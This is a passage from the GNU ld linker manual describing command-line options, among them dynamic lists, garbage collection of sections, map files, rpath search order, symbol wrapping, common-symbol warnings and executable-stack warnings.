When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targetted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

